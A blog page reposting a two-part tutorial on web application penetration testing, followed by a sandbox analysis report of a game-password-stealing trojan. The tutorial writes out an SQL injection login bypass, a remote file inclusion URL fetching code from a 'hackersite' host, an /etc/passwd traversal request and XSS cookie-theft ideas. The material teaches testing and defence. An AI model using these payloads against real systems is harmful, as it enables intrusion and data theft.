'hacking'에 해당되는 글 27건

  1. 2011.12.04 Web Penetration Testings by CEOinIRVINE
  2. 2011.03.24 Value Changes (one of game cheating/hacking) by CEOinIRVINE
  3. 2010.04.23 Malware Analysis by CEOinIRVINE
  4. 2010.04.02 Computer Security Consulting by CEOinIRVINE
  5. 2009.10.06 Learn C++ by CEOinIRVINE
  6. 2009.10.02 Regarding Online Game Security by CEOinIRVINE
  7. 2009.09.04 Penetration Testing Service by CEOinIRVINE
  8. 2009.06.09 Hacking with Javascript 2005.FEB. by CEOinIRVINE
  9. 2009.03.14 Hacking Quiz (too easy.. for beginners) by CEOinIRVINE
  10. 2009.02.08 How to be penetration tester? (Computer Security Specialist?) by CEOinIRVINE

Web Penetration Testings

Hacking 2011. 12. 4. 13:10



Note: It is assumed that the reader of this article has some knowledge of the HTTP protocol - specifically, the format of HTTP GET and POST requests, and the purpose of various header fields. This information is available in RFC2616.

Web applications are becoming more prevalent and increasingly more sophisticated, and as such they are critical to almost all major online businesses. As with most security issues involving client/server communications, Web application vulnerabilities generally stem from improper handling of client requests and/or a lack of input validation checking on the part of the developer.

The very nature of Web applications - their ability to collate, process and disseminate information over the Internet - exposes them in two ways. First and most obviously, they have total exposure by nature of being publicly accessible. This makes security through obscurity impossible and heightens the requirement for hardened code. Second and most critically from a penetration testing perspective, they process data elements from within HTTP requests - a protocol that can employ a myriad of encoding and encapsulation techniques.

Most Web application environments (including ASP and PHP, which will both be used for examples throughout the series), expose these data elements to the developer in a manner that fails to identify how they were captured and hence what kind of validation and sanity checking should apply to them. Because the Web "environment" is so diverse and contains so many forms of programmatic content, input validation and sanity checking is the key to Web applications security. This involves both identifying and enforcing the valid domain of every user-definable data element, as well as a sufficient understanding of the source of all data elements to determine what is potentially user definable.

The Root of the Issue: Input Validation

Input validation issues can be difficult to locate in a large codebase with lots of user interactions, which is the main reason that developers employ penetration testing methodologies to expose these problems. Web applications are, however, not immune to the more traditional forms of attack. Poor authentication mechanisms, logic flaws, unintentional disclosure of content and environment information, and traditional binary application flaws (such as buffer overflows) are rife. When approaching a Web application as a penetration tester, all this must be taken into account, and a methodical process of input/output or "blackbox" testing, in addition to (if possible) code auditing or "whitebox" testing, must be applied.

What exactly is a Web application?

A Web application is an application, generally comprised of a collection of scripts, that reside on a Web server and interact with databases or other sources of dynamic content. They are fast becoming ubiquitous as they allow service providers and their clients to share and manipulate information in an (often) platform-independent manner via the infrastructure of the Internet. Some examples of Web applications include search engines, Webmail, shopping carts and portal systems.

How does it look from the users perspective?

Web applications typically interact with the user via FORM elements and GET or POST variables (even a 'Click Here' button is usually a FORM submission). With GET variables, the inputs to the application can be seen within the URL itself, however with POST requests it is often necessary to study the source of form-input pages (or capture and decode valid requests) in order to determine the users inputs.

An example HTTP request that might be provided to a typical Web application is as follows:

GET /sample.php?var=value&var2=value2 HTTP/1.1 | HTTP-METHOD REQUEST-URI PROTOCOL/VERSION
Session-ID: 361873127da673c | Session-ID Header
Host: www.webserver.com | Host Header
<CR><LF><CR><LF> | Two carriage return line feeds

Every element of this request can potentially be used by the Web application processing the request. The REQUEST-URI identifies the unit of code that will be invoked along with the query string: a separated list of &variable=value pairs defining input parameters. This is the main form of Web applications input. The Session-ID header provides a token identifying the client's established session as a primitive form of authentication. The Host header is used to distinguish between virtual hosts sharing the same IP address and will typically be parsed by the Web server, but is, in theory, within the domain of the Web application.

As a penetration tester you must use all input methods available to you in order to elicit exception conditions from the application. Thus, you cannot be limited to what a browser or automatic tools provide. It is quite simple to script HTTP requests using utilities like curl, or shell scripts using netcat. The process of exhaustive blackbox testing a Web application is one that involves exploring each data element, determining the expected input, manipulating or otherwise corrupting this input, and analysing the output of the application for any unexpected behaviour.

The Information Gathering Phase

Fingerprinting the Web Application Environment

One of the first steps of the penetration test should be to identify the Web application environment, including the scripting language and Web server software in use, and the operating system of the target server. All of these crucial details are simple to obtain from a typical Web application server through the following steps:

1. Investigate the output from HEAD and OPTIONS http requests

The header and any page returned from a HEAD or OPTIONS request will usually contain a SERVER: string or similar detailing the Web server software version and possibly the scripting environment or operating system in use.

OPTIONS / HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 04 Jun 2003 11:02:45 GMT
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private

2. Investigate the format and wording of 404/other error pages

Some application environments (such as ColdFusion) have customized and therefore easily recognizable error pages, and will often give away the software versions of the scripting language in use. The tester should deliberately request invalid pages and utilize alternate request methods (POST/PUT/Other) in order to glean this information from the server.

Below is an example of a ColdFusion 404 error page:

3. Test for recognised file types/extensions/directories

Many Web services (such as Microsoft IIS) will react differently to a request for a known and supported file extension than an unknown extension. The tester should attempt to request common file extensions such as .ASP, .HTM, .PHP, .EXE and watch for any unusual output or error codes.

GET /blah.idq HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 04 Jun 2003 11:12:24 GMT
Content-Type: text/html

<HTML>The IDQ file blah.idq could not be found.

4. Examine source of available pages

The source code from the immediately accessible pages of the application front-end may give clues as to the underlying application environment.

<title>Home Page</title>
<meta content="Microsoft Visual Studio 7.0" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">

In this situation, the developer appears to be using MS Visual Studio 7. The underlying environment is likely to be Microsoft IIS 5.0 with .NET framework.

5. Manipulate inputs in order to elicit a scripting error

In the example below the most obvious variable (ItemID) has been manipulated to fingerprint the Web application environment:

6. TCP/ICMP and Service Fingerprinting
Using traditional fingerprinting tools such as Nmap and Queso, or the more recent application fingerprinting tools Amap and WebServerFP, the penetration tester can gain a more accurate idea of the underlying operating systems and Web application environment than through many other methods. NMAP and Queso examine the nature of the host's TCP/IP implementation to determine the operating system and, in some cases, the kernel version and patch level. Application fingerprinting tools rely on data such as Server HTTP headers to identify the host's application software.

Hidden form elements and source disclosure

In many cases developers require inputs from the client that should be protected from manipulation, such as a user-variable that is dynamically generated and served to the client, and required in subsequent requests. In order to prevent users from seeing and possibly manipulating these inputs, developers use form elements with a HIDDEN tag. Unfortunately, this data is in fact only hidden from view on the rendered version of the page - not within the source.

There have been numerous examples of poorly written ordering systems that would allow users to save a local copy of order confirmation pages, edit HIDDEN variables such as price and delivery costs, and resubmit their request. The Web application would perform no further authentication or cross-checking of form submissions, and the order would be dispatched at a discounted price!

<FORM METHOD="LINK" ACTION="/shop/checkout.htm">
<INPUT TYPE="HIDDEN" name="quoteprice" value="4.25">Quantity: <INPUT TYPE="text"
NAME="totalnum"> <INPUT TYPE="submit" VALUE="Checkout">
</FORM>

This practice is still common on many sites, though to a lesser degree. Typically only non-sensitive information is contained in HIDDEN fields, or the data in these fields is encrypted. Regardless of the sensitivity of these fields, they are still another input to be manipulated by the blackbox penetration tester.

All source pages should be examined (where feasible) to determine if any sensitive or useful information has been inadvertently disclosed by the developer - this may take the form of active content source within HTML, pointers to included or linked scripts and content, or poor file/directory permissions on critical source files. Any referenced executables and scripts should be probed, and if accessible, examined.

Javascript and other client-side code can also provide many clues as to the inner workings of a Web application. This is critical information when blackbox testing. Although the whitebox (or 'code-auditing') tester has access to the application's logic, to the blackbox tester this information is a luxury which can provide for further avenues of attack. For example, take the following chunk of code:

<INPUT TYPE="SUBMIT" onClick="
if (document.forms['product'].elements['quantity'].value >= 255) {
document.forms['product'].elements['quantity'].value='';
alert('Invalid quantity');
return false;
} else {
return true;
}
">

This suggests that the application is trying to protect the form handler from quantity values of 255 of more - the maximum value of a tinyint field in most database systems. It would be trivial to bypass this piece of client-side validation, insert a long integer value into the 'quantity' GET/POST variable and see if this elicits an exception condition from the application.

Determining Authentication Mechanisms

One of the biggest shortcomings of the Web applications environment is its failure to provide a strong authentication mechanism. Of even more concern is the frequent failure of developers to apply what mechanisms are available effectively. It should be explained at this point that the term Web applications environment refers to the set of protocols, languages and formats - HTTP, HTTPS, HTML, CSS, JavaScript, etc. - that are used as a platform for the construction of Web applications. HTTP provides two forms of authentication: Basic and Digest. These are both implemented as a series of HTTP requests and responses, in which the client requests a resource, the server demands authentication and the client repeats the request with authentication credentials. The difference is that Basic authentication is clear text and Digest authentication encrypts the credentials using a nonce (time sensitive hash value) provided by the server as a cryptographic key.

Besides the obvious problem of clear text credentials when using Basic, there is nothing inherently wrong with HTTP authentication, and this clear-text problem be mitigated by using HTTPS. The real problem is twofold. First, since this authentication is applied by the Web server, it is not easily within the control of the Web application without interfacing with the Web server's authentication database. Therefore custom authentication mechanisms are frequently used. These open a veritable Pandora's box of issues in their own right. Second, developers often fail to correctly assess every avenue for accessing a resource and then apply authentication mechanisms accordingly.

Given this, penetration testers should attempt to ascertain both the authentication mechanism that is being used and how this mechanism is being applied to every resource within the Web application. Many Web programming environments offer session capabilities, whereby a user provides a cookie or a Session-ID HTTP header containing a psuedo-unique string identifying their authentication status. This can be vulnerable to attacks such as brute forcing, replay, or re-assembly if the string is simply a hash or concatenated string derived from known elements.

Every attempt should be made to access every resource via every entry point. This will expose problems where a root level resource such as a main menu or portal page requires authentication but the resources it in turn provides access to do not. An example of this is a Web application providing access to various documents as follows. The application requires authentication and then presents a menu of documents the user is authorised to access, each document presented as a link to a resource such as:

http://www.server.com/showdoc.asp?docid=10

Although reaching the menu requires authentication, the showdoc.asp script requires no authentication itself and blindly provides the requested document, allowing an attacker to simply insert the docid GET variable of his desire and retrieve the document. As elementary as it sounds this is a common flaw in the wild.

Conclusions

In this article we have presented the penetration tester with an overview of web applications and howweb developers obtain and handle user inputs. We have also shown the importance of fingerprinting the target environment and developing an understanding of the back-end of an application. Equipped with this information, the penetration tester can proceed to targeted vulnerability tests and exploits. The next installment in this series will introduce code and content-manipulation attacks, such as PHP/ASP code injection, SQL injection, Server-Side Includes and Cross-site scripting.

http://www.securityfocus.com/infocus/1704

Penetration Testing for Web Applications (Part Two)
by Jody Melbourne and David Jorm
last updated July 3, 2003

Our first article in this series covered user interaction with Web applications and explored the various methods of HTTP input that are most commonly utilized by developers. In this second installment we will be expanding upon issues of input validation - how developers routinely, through a lack of proper input sanity and validity checking, expose their back-end systems to server-side code-injection and SQL-injection attacks. We will also investigate the client-side problems associated with poor input-validation such as cross-site scripting attacks.

The Blackbox Testing Method

The blackbox testing method is a technique for hardening and penetration-testing Web applications where the source code to the application is not available to the tester. It forces the penetration tester to look at the Web application from a user's perspective (and therefore, an attacker's perspective). The blackbox tester uses fingerprinting methods (as discussed in Part One of this series) to probe the application and identify all expected inputs and interactions from the user. The blackbox tester, at first, tries to get a 'feel' for the application and learn its expected behavior. The term blackbox refers to this Input/UnknownProcess/Output approach to penetration testing.

The tester attempts to elicit exception conditions and anomalous behavior from the Web application by manipulating the identified inputs - using special characters, white space, SQL keywords, oversized requests, and so forth. Any unexpected reaction from the Web application is noted and investigated. This may take the form of scripting error messages (possibly with snippets of code), server errors (HTTP 500), or half-loaded pages.


Figure 1 - Blackbox testing GET variables

Any strange behavior on the part of the application, in response to strange inputs, is certainly worth investigating as it may mean the developer has failed to validate inputs correctly!

SQL Injection Vulnerabilities

Many Web application developers (regardless of the environment) do not properly strip user input of potentially "nasty" characters before using that input directly in SQL queries. Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use subselects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Locating SQL Injection Vulnerabilities

Often the most effective method of locating SQL injection vulnerabilities is by hand - studying application inputs and inserting special characters. With many of the popular backends, informative errors pages are displayed by default, which can often give clues to the SQL query in use: when attempting SQL injection attacks, you want to learn as much as possible about the syntax of database queries.


Figure 2 - Potential SQL injection vulnerability


Figure 3 - Another potential SQL injection hole

Example: Authentication bypass using SQL injection

This is one of the most commonly used examples of an SQL injection vulnerability, as it is easy to understand for non-SQL-developers and highlights the extent and severity of these vulnerabilities. One of the simplest ways to validate a user on a Web site is by providing them with a form, which prompts for a username and password. When the form is submitted to the login script (eg. login.asp), the username and password fields are used as variables within an SQL query.

Examine the following code (using MS Access DB as our backend):

user = Request.form("user")
pass = Request.form("pass")
Set Conn = Server.CreateObject("ADODB.Connection")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open (dsn)
SQL = "SELECT C=COUNT(*) FROM users where pass='" & pass & "' and user='" & user & "'"
rs.open (sql,conn) if rs.eof or rs.bof then
response.write "Database Error"
else
if rs("C") < 1 then
response.write "Invalid Credentials"
else
response.write "Logged In"
end if
end if

In this scenario, no sanity or validity checking is being performed on the user and pass variables from our form inputs. The developer may have client-side (eg. Javascript) checks on the inputs, but as has been demonstrated in the first part of this series, any attacker who understands HTML can bypass these restrictions. If the attacker were to submit the following credentials to our login script:

user: test' OR '1'='1
pass: test

the resulting SQL query would look as follows:

SELECT * FROM users where pass='test' and user='test' OR '1' = '1'

In plain English, "access some data where user and pass are equal to 'test', or 1 is equal to 1." As the second condition is always true, the first condition is irrelevant, and the query data is returned successfully - in this case, logging the attacker into the application.

For recent examples of this class of vulnerability, please refer to http://www.securityfocus.com/bid/4520 and http://www.securityfocus.com/bid/4931. Both of these advisories detail SQL authentication issues similar to the above.

MS-SQL Extended stored procedures

Microsoft SQL Server 7 supports the loading of extended stored procedures (a procedure implemented in a DLL that is called by the application at runtime). Extended stored procedures can be used in the same manner as database stored procedures, and are usually employed to perform tasks related to the interaction of the SQL server with its underlying Win32 environment. MSSQL has a number of built-in XSPs - most of these stored procedures are prefixed with an xp_.

Some of the built-in functions useful to the MSSQL pen-tester:

* xp_cmdshell - execute shell commands
* xp_enumgroups - enumerate NT user groups
* xp_logininfo - current login info
* xp_grantlogin - grant login rights
* xp_getnetname - returns WINS server name
* xp_regdeletekey - registry manipulation
* xp_regenumvalues
* xp_regread
* xp_regwrite
* xp_msver - SQL server version info

A non-hardened MS-SQL server may allow the DBO user to access these potentially dangerous stored procedures (which are executed with the permissions of the SQL server instance - in many cases, with SYSTEM privileges).

There are many extended/stored procedures that should not be accessible to any user other than the DB owner. A comprehensive list can be found at MSDN: http://msdn.microsoft.com/library/default...._sp_00_519s.asp

A well-maintained guide to hardening MS-SQL Server 7 and 2000 can be found at SQLSecurity.com: http://www.sqlsecurity.com/DesktopDefault....index=3&tabid=4

PHP and MySQL Injection

A vulnerable PHP Web application with a MySQL backend, despite PHP escaping numerous 'special' characters (with Magic_Quotes enabled), can be manipulated in a similar manner to the above ASP application. MySQL does not allow for direct shell execution like MSSQL's xp_cmdshell, however in many cases it is still possible for the attacker to append arbitrary conditions to queries, or use UNIONs and subselects to access or modify records in the database.

For more information on PHP/MySQL security issues, refer to http://www.phpadvisory.com. PHP/Mysql security issues are on the increase - reference phpMyshop (http://www.securityfocus.com/bid/6746) and PHPNuke (http://www.securityfocus.com/bid/7194) advisories.

Code and Content Injection

What is code injection? Code injection vulnerabilities occur where the output or content served from a Web application can be manipulated in such a way that it triggers server-side code execution. In some poorly written Web applications that allow users to modify server-side files (such as by posting to a message board or guestbook) it is sometimes possible to inject code in the scripting language of the application itself.

This vulnerability hinges upon the manner in which the application loads and passes through the contents of these manipulated files - if this is done before the scripting language is parsed and executed, the user-modified content may also be subject to parsing and execution.

Example: A simple message board in PHP

The following snippet of PHP code is used to display posts for a particular message board. It retrieves the messageid GET variable from the user and opens a file $messageid.txt under /var/www/forum:

<?php
include('/var/www/template/header.inc');
if (isset($_GET['messageid']) && file_exists('/var/www/forum/' . stripslashes($messageid) . '.txt') &&
is_numeric($messageid)) {
include('/var/www/forum/' . stripslashes($messageid) . '.txt');
} else {
include('/var/www/template/error.inc');
}
include('/var/www/template/footer.inc');
?>

Although the is_numeric() test prevents the user from entering a file path as the messageid, the content of the message file is not checked in any way. (The problem with allowing unchecked entry of file paths is explained later) If the message contained PHP code, it would be include()'d and therefore executed by the server.

A simple method of exploiting this example vulnerability would be to post to the message board a simple chunk of code in the language of the application (PHP in this example), then view the post and see if the output indicates the code has been executed.

Server Side Includes (SSI)

SSI is a mechanism for including files using a special form of HTML comment which predates the include functionality of modern scripting languages such as PHP and JSP. Older CGI programs and 'classic' ASP scripts still use SSI to include libraries of code or re-usable elements of content, such as a site template header and footer. SSI is interpreted by the Web server, not the scripting language, so if SSI tags can be injected at the time of script execution these will often be accepted and parsed by the Web server. Methods of attacking this vulnerability are similar to those shown above for scripting language injection. SSI is rapidly becoming outmoded and disused, so this topic will not be covered in any more detail.

Miscellaneous Injection

There are many other kinds of injection attacks common amongst Web applications. Since a Web application primarily relies upon the contents of headers, cookies and GET/POST variables as input, the actions performed by the application that is driven by these variables must be thoroughly examined. There is a potentially limitless scope of actions a Web application may perform using these variables: open files, search databases, interface with other command systems and, as is increasingly common in the Web services world, interface with other Web applications. Each of these actions requires its own syntax and requires that input variables be sanity-checked and validated in a unique manner.

For example, as we have seen with SQL injection, SQL special characters and keywords must be stripped. But what about a Web application that opens a serial port and logs information remotely via a modem? Could the user input a modem command escape string, cause the modem to hangup and redial other numbers? This is merely one example of the concept of injection. The critical point for the penetration tester is to understand what the Web application is doing in the background - the function calls and commands it is executing - and whether the arguments to these calls or strings of commands can be manipulated via headers, cookies and GET/POST variables.

Example: PHP fopen()

As a real world example, take the widespread PHP fopen() issue. PHP's file-open fopen() function allows for URLs to be entered in the place of a filename, simplifying access to Web services and remote resources. We will use a simple portal page as an example:

URL: http://www.example.com/index.php?file=main

<?php
include('/var/www/template/header.inc');
if (isset($_GET['file']) {
$fp = fopen("$file" . ".html","r");
} else {
$fp = fopen("main.html", "r");
}
include('/var/www/template/footer.inc');
?>

The index.php script includes header and footer code, and fopen()'s the page indicated by the file GET variable. If no file variable is set, it defaults to main.html. The developer is forcing a file extension of .html, but is not specifying a directory prefix. A PHP developer inspecting this code should notice immediately that it is vulnerable to a directory traversal attack, as long as the filename requested ends in .html (See below).

However, due to fopen()'s URL handling features, an attacker in this case could submit:

http://www.example.com/index.php?file=http...ersite.com/main

This would force the example application to fopen() the file main.html at www.hackersite.com. If this file were to contain PHP code, it would be incorporated into the output of the index.php application, and would therefore be executed by the server. In this manner, an attacker is able to inject arbitrary PHP code into the output of the Web application, and force server-side execution of the code of his/her choosing.

W-Agora forum was recently found to have such a vulnerability in its handling of user inputs that could result in fopen() attacks - refer to http://www.securityfocus.com/bid/6463 for more details. This is a perfect example of this particular class of vulnerability.

Many skilled Web application developers are aware of current issues such as SQL injection and will use the many sanity-checking functions and command-stripping mechanisms available. However, once less common command systems and protocols become involved, sanity-checking is often flawed or inadequate due to a lack of comprehension of the wider issues of input validation.

Path Traversal and URIs

A common use of Web applications is to act as a wrapper for files of Web content, opening them and returning them wrapped in chunks of HTML. This can be seen in the above sample for code injection. Once again, sanity checking is the key. If the variable being read in to specify the file to be wrapped is not checked, a relative path can be entered.

Copying from our misc. code injection example, if the developer were to fail to specify a file suffix with fopen():

fopen("$file" , "r");

...the attacker would be able to traverse to any file readable by the Web application.

http://www.example.com/index.php?file=../...../../etc/passwd

This request would return the contents of /etc/passwd unless additional stripping of the path character (/.) had been performed on the file variable.

This problem is compounded by the automatic handling of URIs by many modern Web scripting technologies, including PHP, Java and Microsoft's .NET. If this is supported on the target environment, vulnerable applications can be used as an open relay or proxy:

http://www.example.com/index.php?file=http...www.google.com/

This flaw is one of the easiest security issues to spot and rectify, although it remains common on smaller sites whose application code performs basic content wrapping. The problem can be mitigated in two ways. First, by implementing an internal numeric index to the documents or, as in our message board code, using files named in numeric sequence with a static prefix and suffix. Second, by stripping any path characters such as [/\.] which attackers could use to access resources outside of the application's directory tree.

Cross Site Scripting

Cross Site Scripting attacks (a form of content-injection attack) differs from the many other attack methods covered in this article in that it affects the client-side of the application (ie. the user's browser). Cross Site Scripting (XSS) occurs wherever a developer incorrectly allows a user to manipulate HTML output from the application - this may be in the result of a search query, or any other output from the application where the user's input is displayed back to the user without any stripping of HTML content.

A simple example of XSS can be seen in the following URL:

http://server.example.com/browse.cfm?categ...ID=1&name=Books

In this example the content of the 'name' parameter is displayed on the returned page. A user could submit the following request:

http://server.example.com/browse.cfm?categ...<h1>Books

If the characters < > are not being correctly stripped or escaped by this application, the "<h1>" would be returned within the page and would be parsed by the browser as valid html. A better example would be as follows:

http://server.example.com/browse.cfm?categ...</script>

In this case, we have managed to inject Javascript into the resulting page. The relevant cookie (if any) for this session would be displayed in a popup box upon submitting this request.

This can be abused in a number of ways, depending on the intentions of the attacker. A short piece of Javascript to submit a user's cookie to an arbitrary site could be placed into this URL. The request could then be hex-encoded and sent to another user, in the hope that they open the URL. Upon clicking the trusted link, the user's cookie would be submitted to the external site. If the original site relies on cookies alone for authentication, the user's account would be compromised. We will be covering cookies in more detail in part three of this series.

In most cases, XSS would only be attempted from a reputable or widely-used site, as a user is more likely to click on a long, encoded URL if the server domain name is trusted. This kind of attack does not allow for any access to the client beyond that of the affected domain (in the user's browser security settings).

For more details on Cross-Site scripting and it's potential for abuse, please refer to the CGISecurity XSS FAQ at http://www.cgisecurity.com/articles/xss-faq.shtml.

Conclusion

In this article we have attempted to provide the penetration tester with a good understanding of the issue of input validation. Each of the subtopics covered in this article are deep and complex issues, and could well require a series of their own to cover in detail. The reader is encouraged to explore the documents and sites that we have referenced for further information.

The final part of this series will discuss in more detail the concepts of sessions and cookies - how Web application authentication mechanisms can be manipulated and bypassed. We will also explore the issue of traditional attacks (such as overflows and logic bugs) that have plagued developers for years, and are still quite common in the Web applications world.
http://www.securityfocus.com/infocus/1709

'Hacking' 카테고리의 다른 글

HttpOnly  (0) 2011.12.10
Security Advisory  (1) 2011.12.05
Blocked DOMAINS / IP address for spreading malicous files (Chat.EXE, Chat.DLL)  (0) 2011.11.30
Virus Pattern (Trend Micro)  (0) 2011.11.29
Informix SQL Injection Cheat Sheet  (0) 2011.11.08
Posted by CEOinIRVINE
l


Posted by CEOinIRVINE
l

Malware Analysis

Hacking 2010. 4. 23. 17:53

Submission Summary:

  • Submission details:
    • Submission received: 22 April 2010, 21:45:06
    • Processing time: 7 min 30 sec
    • Submitted sample:
      • File MD5: 0x504CB0E268EAB6F47BD35780C537BCB1
      • File SHA-1: 0x8EA44DC3C9B379A0E580074C5C325797BFEE83B6
      • Filesize: 95,819 bytes
      • Alias:
  • Summary of the findings:

What's been found Severity Level
Downloads/requests other files from Internet.
Creates a startup registry entry.
Registers a 32-bit in-process server DLL.
Registers a Browser Helper Object (Microsoft's Internet Explorer plugin module).
Contains characteristics of an identified security risk.

 

Technical Details:

 

Possible Security Risk
  • Attention! Characteristics of the following security risks were identified in the system:

Security Risk Description
Trojan-PWS.Magania.AHIW Trojan-PWS.Magania.AHIW is threat that tries to monitors user activities in hopes to obtain valuable information from the affected user, specifically gaming login informations.
Trojan.Generic Common Components that may be used by Trojans Small, DRSN Search, Binet, Euniverse, Adrotator and Dloader among others.

  • Attention! The following threat categories were identified:

Threat Category Description
A malicious trojan horse or bot that may represent security risk for the compromised system and/or its network environment
A program that downloads files to the local computer that may represent security risk

 

File System Modifications
  • The following files were created in the system:

# Filename(s) File Size File Hash Alias
1 %Windir%\AhnRpta.exe 69,120 bytes MD5: 0x388B8FBC36A8558587AFC90FB23A3B99
SHA-1: 0xED55AD0A7078651857BD8FC0EEDD8B07F94594CC
(not available)
2 %System%\anhdo.exe 159,024 bytes MD5: 0xA7A748E6017E471FC36E9332627C147C
SHA-1: 0x1FDF53F443BA029941D14BD3DB566FA0F7C069A5
Worm:Win32/Taterf.B [Microsoft]
packed with PE_Patch [Kaspersky Lab]
3 %System%\ansb10.dll
%System%\ansb11.dll
64,598 bytes MD5: 0x34503D6515C78FE759986E73F2482B06
SHA-1: 0xB0D9857230D10193DC0BCE290866266248AADFC2
PWS:Win32/Frethog.gen!G [Microsoft]
packed with PE_Patch [Kaspersky Lab]
4 %System%\ansb20.dll 78,270 bytes MD5: 0x58DBD396A3DF3E1FB0B54EA57242555A
SHA-1: 0x30597FA342034EB381EE117941F1BA343207BD91
PWS:Win32/OnLineGames.AH [Microsoft]
packed with PE_Patch [Kaspersky Lab]
5 [file and pathname of the sample #1] 95,819 bytes MD5: 0x504CB0E268EAB6F47BD35780C537BCB1
SHA-1: 0x8EA44DC3C9B379A0E580074C5C325797BFEE83B6
Trojan.Gen [Symantec]
Trojan-GameThief.Win32.Magania.dbxc [Kaspersky Lab]
New Malware.bx [McAfee]
TrojanDropper:Win32/Frethog.K [Microsoft]
Dropper/Killav.95819 [AhnLab]
6 %System%\softqq0.dll 64,521 bytes MD5: 0x39D3F8C3E522F07803A629E68D0B2E35
SHA-1: 0x4C5CE618A8DF1C1E70EC579BB58BA12C2842B391
Downloader [Symantec]
TrojanDownloader:Win32/Frethog.C [Microsoft]
Win-Trojan/Killav.64521 [AhnLab]
packed with PE_Patch [Kaspersky Lab]

  • Notes:
    • %Windir% is a variable that refers to the Windows installation folder. By default, this is C:\Windows or C:\Winnt.
    • %System% is a variable that refers to the System folder. By default, this is C:\Windows\System (Windows 95/98/Me), C:\Winnt\System32 (Windows NT/2000), or C:\Windows\System32 (Windows XP).

 

Memory Modifications
  • There was a new process created in the system:

Process Name Process Filename Main Module Size
AhnRpta.exe %Windir%\ahnrpta.exe 81,920 bytes

  • The following modules were loaded into the address space of other process(es):

Module Name Module Filename Address Space Details
softqq0.dll %System%\softqq0.dll Process name: explorer.exe
Process filename: %Windir%\explorer.exe
Address space: 0x1E80000 - 0x1EA8000
ansb10.dll %System%\ansb10.dll Process name: explorer.exe
Process filename: %Windir%\explorer.exe
Address space: 0x22A0000 - 0x22D1000
softqq0.dll %System%\softqq0.dll Process name: dllhost.exe
Process filename: %System%\dllhost.exe
Address space: 0x2530000 - 0x2558000
softqq0.dll %System%\softqq0.dll Process name: IEXPLORE.EXE
Process filename: %ProgramFiles%\internet explorer\iexplore.exe
Address space: 0x1500000 - 0x1528000
softqq0.dll %System%\softqq0.dll Process name: AhnRpta.exe
Process filename: %Windir%\ahnrpta.exe
Address space: 0x10000000 - 0x10028000
softqq0.dll %System%\softqq0.dll Process name: VMwareUser.exe
Process filename: %ProgramFiles%\vmware\vmware tools\vmwareuser.exe
Address space: 0x10000000 - 0x10028000
softqq0.dll %System%\softqq0.dll Process name: AhnRpta.exe
Process filename: %Windir%\ahnrpta.exe
Address space: 0x890000 - 0x8B8000

  • Notes:
    • %ProgramFiles% is a variable that refers to the Program Files folder. A typical path is C:\Program Files.

 

Registry Modifications
  • The following Registry Keys were created:
    • HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\NOD32KVBIT
    • HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B03A4BE6-5E5A-483E-B9B3-C484D4B20B72}
    • HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B03A4BE6-5E5A-483E-B9B3-C484D4B20B72}\InprocServer32
    • HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B03A4BE6-5E5A-B9B3-483E-C484D4B20B72}
    • HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C8414FA0-BA90-4600-B7EA-0CEFAF5A0636}
    • HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C8414FA0-BA90-4600-B7EA-0CEFAF5A0636}\InprocServer32
    • HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C8414FA0-BA90-4600-B7EA-0CEFAF5A0636}\ProgID
    • HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C8414FA0-BA90-4600-B7EA-0CEFAF5A0636}\Programmable
    • HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C8414FA0-BA90-4600-B7EA-0CEFAF5A0636}\VersionIndependentProgID
    • HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IEHlprObj.IEHlprObj
    • HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IEHlprObj.IEHlprObj\CurVer
    • HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IEHlprObj.IEHlprObj.1
    • HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IEHlprObj.IEHlprObj.1\CLSID
    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{C8414FA0-BA90-4600-B7EA-0CEFAF5A0636}
  • The newly created Registry Values are:
    • [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\NOD32KVBIT]
      • KVBIT_2 = "xxxkkmm"
    • [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B03A4BE6-5E5A-483E-B9B3-C484D4B20B72}\InprocServer32]
      • (Default) = "%System%\softqq0.dll"
      • ThreadingModel = "Apartment"
    • [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B03A4BE6-5E5A-B9B3-483E-C484D4B20B72}]
      • VcbitExeModuleName = "[file and pathname of the sample #1]"
      • VcbitDllModuleName = "%System%\softqq0.dll"
      • VcbitSobjEventName = "CVBASDDOOPADSAMN_0"
    • [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C8414FA0-BA90-4600-B7EA-0CEFAF5A0636}\VersionIndependentProgID]
      • (Default) = "IEHlprObj.IEHlprObj"
    • [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C8414FA0-BA90-4600-B7EA-0CEFAF5A0636}\ProgID]
      • (Default) = "IEHlprObj.IEHlprObj.1"
